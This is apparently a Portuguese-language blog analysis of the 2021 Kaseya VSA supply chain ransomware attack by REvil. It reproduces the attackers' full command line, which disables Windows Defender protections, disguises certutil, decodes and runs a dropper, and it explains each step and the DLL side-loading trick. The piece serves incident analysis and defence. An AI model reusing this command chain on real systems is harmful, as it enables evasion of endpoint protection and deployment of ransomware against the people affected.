Kaseya Supply Chain Attack

Kaseya Supply Chain Attack

Há alguns dias atrás, a comunidade de segurança ao redor do mundo precisou se ocupar com o apelidado PrintNightmare . Uma falha crítica foi identificada no serviço de impressão do sistema operacional Windows e que afeta diversas versões do software, inclusive aquelas usadas em Domain Controllers.

Dois dias adentro, contudo, outro evento ocorreu que, a princípio, foi ofuscado pelo que já estava ocorrendo. Um ataque de proporções exponenciais ao software VSA da empresa Kaseya comprometeu milhares de clientes de dezenas de MSPs nos Estados Unidos.

De acordo com as fontes consultadas, o software VSA da empresa foi comprometido por um 0-day que permitiu que uma atualização falsa fosse emitida para os clientes dos MSPs que usam a opção on premisses. A imagem abaixo pode ilustrar melhor a cadeia de ataque:

Cadeia de ataque ao Kaseya VSA e clientes dos MSPs

Como pode ser visto acima, os atacantes exploraram dezenas de servidores VSA que estavam expostos na internet e induziram atualizações falsas aos agentes instalados nos clientes.

O mais agravante desse ataque é o fato de que os agentes nos clientes são executados com permissões elevadas, o que permite plenos poderes ao ataque. Com isso, foi possível, por exemplo, emitir comandos para desabilitar diversas proteções nos endpoints afetados, como o Windows Defender.

Detalhes Técnicos do Ataque

O ataque, inicialmente, explorou falhas como bypass de mecanismo de autenticação, upload de arquivos arbritários e até injeção de código nos servidores VSA.

A partir daí, um prodecimento foi agendado para enviar uma atualização falsa a todos os computadores gerenciados pelos servidores afetados. Tal atualização incluía ações de desabilitar proteções e download/desofuscação e execução de um ransomware da gang REvil , que opera o chamado Ransomware-As-A-Service, ou seja, eles vendem ransomware como um serviço. Abaixo temos parte dos comandos que foram executados nos clientes afetados:

execFile(): Path="C:\windows\system32\cmd.exe", arg="/c ping 127.0.0.1 -n 7615 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking1\agent.crt c:\kworking1\agent.exe & del /q /f c:\kworking1\agent.crt C:\Windows\cert.exe & c:\kworking1\agent.exe", flag=0x00000002, timeout=0 seconds

Analisando o bloco acima:

  • execFile(): Path=”C:\windows\system32\cmd.exe”, arg=”/c ping 127.0.0.1 -n 7615 > null”

A primeira parte do código invoca o cmd.exe e passa como argumentos primeiramente o comando ping para o localhost (127.0.0.1), especificando exatamente 7615 pacotes a serem enviados e descartando quaisquer saídas textuais (> null). O objetivo desse comando ping provavelmente é o de causar um atraso no processo de decodificação e execução do dropper e do ransomware. Essa abordagem pode ser útil em alguns casos para enganar os mecanismos de defesa (que ainda estão ativos).

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

A seguir, ainda como argumento passado ao cmd.exe, é chamado o powershell.exe, que executa o comando Set-MpPreference , que permite alterar configurações do Windows Defender. Para ele são passadas as opções a seguir:

  • -DisableRealtimeMonitoring $true: Desabilita a proteção em tempo real.
  • -DisableIntrusionPreventionSystem $true: desabilita proteção de rede para vulnerabilidades conhecidas.
  • -DisableIOAVProtection $true: Desabilita a verificação de arquivos e anexos baixados.
  • -DisableScriptScanning $true: desabilita a verificação de scripts durante a verificação de malware.
  • -EnableControlledFolderAccess Disabled: Desabilita a proteção de arquivos contra ransomware e outras ameaças.
  • -EnableNetworkProtection AuditMode -Force: Desabilita a proteção contra acesso a domínios potencialmente perigosos e maliciosos, como domínios utilizados por campanhas de phishing, servidores de comando e controle e até mesmo de controle de ransomware.
  • -MAPSReporting Disabled: Desabilita o envio de informações ao Microsoft Active Protection Service (MAPS )
  • -SubmitSamplesConsent NeverSend: Desabilita o envio automático de samples para a Microsoft.

Após desabilitar as proteções, é iniciado o processo de execução do ransomware, que começa utilizando o comando a seguir:

  • copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% » C:\Windows\cert.exe

O comando acima cria uma cópia do utilitário certutil.exe, cujo nome é cert.exe. Após isso, é acrescentado um número aleatório ao final do arquivo novo:

Manipulação do utilitário certutil.exe

A técnica acima pode ter sido feita para alterar a assinatura do executável original, já que, além do nome “certutil”, o hash dele pode ser monitorado ativamente para detecção de execuções maliciosas.

  • C:\Windows\cert.exe -decode c:\kworking1\agent.crt c:\kworking1\agent.exe & del /q /f c:\kworking1\agent.crt C:\Windows\cert.exe & c:\kworking1\agent.exe

Seguindo o fluxo de execução, é possível ver que o novo arquivo cert.exe é usado para realizar a decodificação base64 do arquivo agent.crt, que provavelmente foi colocado em todos os endpoints afetados pelo processo de atualização falsa. Em seguida, o novo arquivo, agent.exe, é criado e depois agent.crt e cert.exe são deletados. Finalmente, agent.exe é executado.

agent.exe é um executável conhecido como dropper, que tem por função baixar e executar o código malicioso final, ou seja, o ransomware. Neste caso, ele baixou um executável legítimo do Windows Defenter, o MsMpEng.exe, e também uma DLL chamada mpsvc.dll, que é o ransomware propriamente dito. Entretanto, legitimamente falando, MpSvc.dll é uma biblioteca que faz parte do Windows Protection Service, e é utilizada pelo Windows Defender. Esse mecanismo foi utilizado no ataque provavelmente como forma de execução disfarçada do ransomware.

A execução do arquivo MsMpEng.exe carrega automaticamente a DLL MpSvc.dll, que inicia o processo de criptografia dos arquivos do sistema afetado.

Uma vez afetado, o sistema passa a ficar assim:

Sistema afetado pelo ransomware REvil no ataque de Suplly Chain do Kaseya VSA

Instruções de preço e pagamento pelo processo de descriptografia dos arquivos

Evolução do Cenário

A partir do momento que foi detectado, a comunidade de segurança logo começou a agir para investigar o incidente e realizar medidas de mitigação do ataque. O que segue abaixo é uma timeline de ações e notícias:

No dia 3 de julho a Kaseya confirmou o ataque . A partir daí várias informações de impacto começaram a surgir:

  • Mais de 30 MSPs foram afetados ao redor do mundo;
  • Rede de supermercados sueca Coop fechou mais de 400 lojas na sexta-feira depois de seus pontos de venda e checkouts terem parado de funcionar;
  • 11 escolas afetadas pelo ataque ;
  • Falha do software VSA provavelmente foi um 0-day de bypass de mecanismo de autenticação da interface web;
  • Equipe de pesquisadores alemães estavam em processo de responsible disclosure com a Kaseya no momento do ataque;
  • A empresa MawareBytes detecta um aumento considerável do uso do ransonware REvil ao redor do mundo;

Aumento de detecções do malware REvil

  • A gangue REvil se responsabilizou pelo ataque e exigiu a quantia de US$70.000.000,00 em BTC para liberar um decryptor para todos os afetados;
  • A Kaseya liberou no dia 5 de julho uma ferramenta de detecção de comprometimento , mas pede que todos os servidores VSA on premisses permaneçam offline.
  • A empresa HuntressLabs , por meio do update 12 na thread no Reddit , afirmou que o vetor inicial de ataque foi um bypass no mecanismo de autenticação da interface web, garantindo uma sessão autenticada ao atacante e, após isto, realizar o upload do payload original e executar comandos via falhas de SQL injection.

Conclusão

A investigação ainda está em andamento, até o momento da escrita deste post, mas já é possível dizer que este é um dos maiores ataques cibernéticos da história.

Assim que mais atualizações forem acontecendo, eu altero o post original para incluir os avanços.

Referências

Tags: